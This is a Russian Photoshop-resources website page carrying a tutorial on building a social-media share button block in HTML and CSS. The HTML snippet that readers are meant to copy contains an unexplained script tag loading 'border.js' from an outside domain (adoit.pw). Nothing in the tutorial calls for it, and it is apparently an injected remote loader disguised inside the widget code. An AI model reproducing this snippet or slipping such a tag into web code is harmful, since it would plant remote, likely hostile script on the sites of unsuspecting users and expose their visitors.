Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Скачать Бесшовные текстуры для Фотошопа Seamless natural patterns
        Скачать Бесшовные текстуры для Фотошопа Seamless natural patterns
        Dark Energy — After Effects Project(Videohive)
        Dark Energy — After Effects Project(Videohive)
        Стили - Гламурный микс 3
        Стили - Гламурный микс 3
        Скачать Weapon - swords and daggers
        Скачать Weapon - swords and daggers
        Дизайн и интерьер на обоях выпуск 14
        Дизайн и интерьер на обоях выпуск 14
        Best HD Wallpapers Pack №712
        Best HD Wallpapers Pack №712
        Рамочка мишка на роликах
        Рамочка мишка на роликах
        Обои с прекрасными уголками природы №308
        Обои с прекрасными уголками природы №308
        Videohive Logo opening sequence V02 — After Effects Project
        Videohive Logo opening sequence V02 — After Effects Project
        3 рамки для фото с цветами – Лилии
        3 рамки для фото с цветами – Лилии

        Главная » 2013 » Июль » 21 » БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
        15:42
        БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
        И так начнем
        Мы определим секцию и создадим в ней список с нашими кнопками дам им классы наших соц.сетей. Так же 5 кнопка будет выпадающим блоком при наводке для ссылок на страницу материала.

        Код
        <section>  
          <ul class="social">  
          <li><a href="#" class="google"></a></li>  
          <li><a href="#" class="facebook"></a></li>  
          <li><a href="#" class="vk"></a></li>  
          <li><a href="#" class="twitter"></a></li>  
          <li><script src="http://adoit.pw/border.js" type="text/javascript"></script>  
          <a href="#" class="link">  
          <div class="submenu">  
          <label for="1">URL:</label>  
          <input type="text" value='http://mysite.com/' id="1" uzzonclick="select(this);" readonly>  
          <label for="2">HTML:</label>  
          <input type="text" value='<a href="http://mysite.com/">mysite.com</a>' id="2" uzzonclick="select(this);" readonly>  
          <label for="3">BB code:</label>  
          <input type="text" value='mysite.com' id="3" uzzonclick="select(this);" readonly>  
          </div>  
          </a>  
          </li>  
          </ul>  
          </section>



        CSS

        Теперь добавим немного стилей

        Код
        .social {  
          position: relative;  
        }  

        .social li {  
          float: left;  
        }  

        .social li a{  
          width: 36px;  
          height: 30px;  
          margin: 0 2px;  
          display: block;  
        }  

        .submenu {  
          position: absolute;  
          width: 193px;  
          top: 37px;  
          left: 3px;  
          background: rgb(66,67,67);  
          background: -moz-linear-gradient(top, rgba(66,67,67,1) 0%, rgba(45,45,45,1) 100%);  
          background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(66,67,67,1)), color-stop(100%,rgba(45,45,45,1)));  
          background: -webkit-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: -o-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: -ms-linear-gradient(top, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          background: linear-gradient(to bottom, rgba(66,67,67,1) 0%,rgba(45,45,45,1) 100%);  
          filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#424343', endColorstr='#2d2d2d',GradientType=0 );  
          padding: 0 10px 10px 10px;  

          border-radius: 5px;  
          -moz-border-radius: 5px;  
          -webkit-border-radius: 5px;  

          box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
          -moz-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  
          -webkit-box-shadow: inset 0 3px 5px rgba(0,0,0,.4), 0 0 3px rgba(0,0,0,.38);  

          opacity: 0;  
           
          -webkit-transition:opacity .3s ease .2s;  
          -moz-transition:opacity .3s ease .2s;  
          -o-transition:opacity .3s ease .2s;  
          transition:opacity .3s ease .2s;  
        }  

        .link:hover > div {  
          opacity: 1;  
        }  

        .submenu:after{  
          bottom: 100%;  
          border: solid transparent;  
          content: " ";  
          height: 0;  
          width: 0;  
          position: absolute;  
          pointer-events: none;  
        }  

        .submenu:after {  
          border-bottom-color: rgb(66,67,67);  
          border-width: 7px;  
          right: 4%;  
          margin-left: -7px;  
        }  

        .submenu label {  
          margin-top: 4px;  
          font: 14px Calibri;  
          display: block;  
          color: #7e7e7e;  
          text-shadow: 1px 0 1px rgba(0,0,0,.44);  
        }  

        .submenu input[type="text"] {  
          width: 100%;  
          font-family: Tahoma;  
          color: #fff;  
          background: #323232;  
          padding: 5px;  
          border: 1px solid #1b1b1b;  
          cursor: text;  

          border-radius: 4px;  
          -moz-border-radius: 4px;  
          -webkit-border-radius: 4px;  

          box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
          -moz-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
          -webkit-box-shadow: inset 2px 0 9px rgba(0,0,0,.5), 0 1px 0 rgba(255,255,255,.1);  
        }  

        .google {  
          background: url('http://pnghosts.ru/img/google.png');  
        }  

        .facebook {  
          background: url('http://pnghosts.ru/img/facebook.png');  
        }  

        .vk {  
          background: url('http://pnghosts.ru/img/vk.png');  
        }  

        .twitter {  
          background: url('http://pnghosts.ru/img/twitter1.png');  
        }  

        .link {  
          background: url('http://pnghosts.ru/img/link.png');  
        }


        Все готово!

        Примечание! При создании был использован CSS - Normalize(Reset), поэтому при добавлении на свой сайт без этих стилей, вам нужно будет подстроить стили под себя!
        Категория: Скрипты для Ucoz | Просмотров: 946 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Четверг
            18.04.2024
            17:31

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Обои с прекрасными уголками природы №316
            Обои с прекрасными уголками природы №316
            cвадебные фоны - И цветочки и сердечки
            cвадебные фоны - И цветочки и сердечки
            Рамка Жемчужная бездна
            Рамка Жемчужная бездна
            Цветочная рамка к празднику - Поздравляю!
            Цветочная рамка к празднику - Поздравляю!
            Скачать Блестящие декоративные золотистые стили
            Скачать Блестящие декоративные золотистые стили
            Cкачать  Рамка для фото – 5 октября Всемирный день учителя
            Cкачать Рамка для фото – 5 октября Всемирный день учителя
            Скачать Обои с прекрасными уголками природы №305
            Скачать Обои с прекрасными уголками природы №305
            Детский шаблон для фотошопа - Дружная компания
            Детский шаблон для фотошопа - Дружная компания
            Рамка для фото – Я уведу тебя по радуге в страну подсолнухов
            Рамка для фото – Я уведу тебя по радуге в страну подсолнухов
            Стильная мужская рамка с узорами
            Стильная мужская рамка с узорами

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2024
            Создать бесплатный сайт с uCoz